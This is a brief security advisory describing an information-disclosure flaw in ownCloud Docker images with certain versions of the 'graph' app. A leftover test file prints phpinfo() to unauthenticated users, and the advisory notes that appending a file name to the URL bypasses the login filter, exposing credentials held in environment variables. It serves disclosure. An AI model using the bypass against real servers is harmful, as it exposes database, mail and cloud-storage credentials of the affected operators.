Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app `graph` installed  
contain a test file which prints `phpinfo()` to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter.  
Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information.
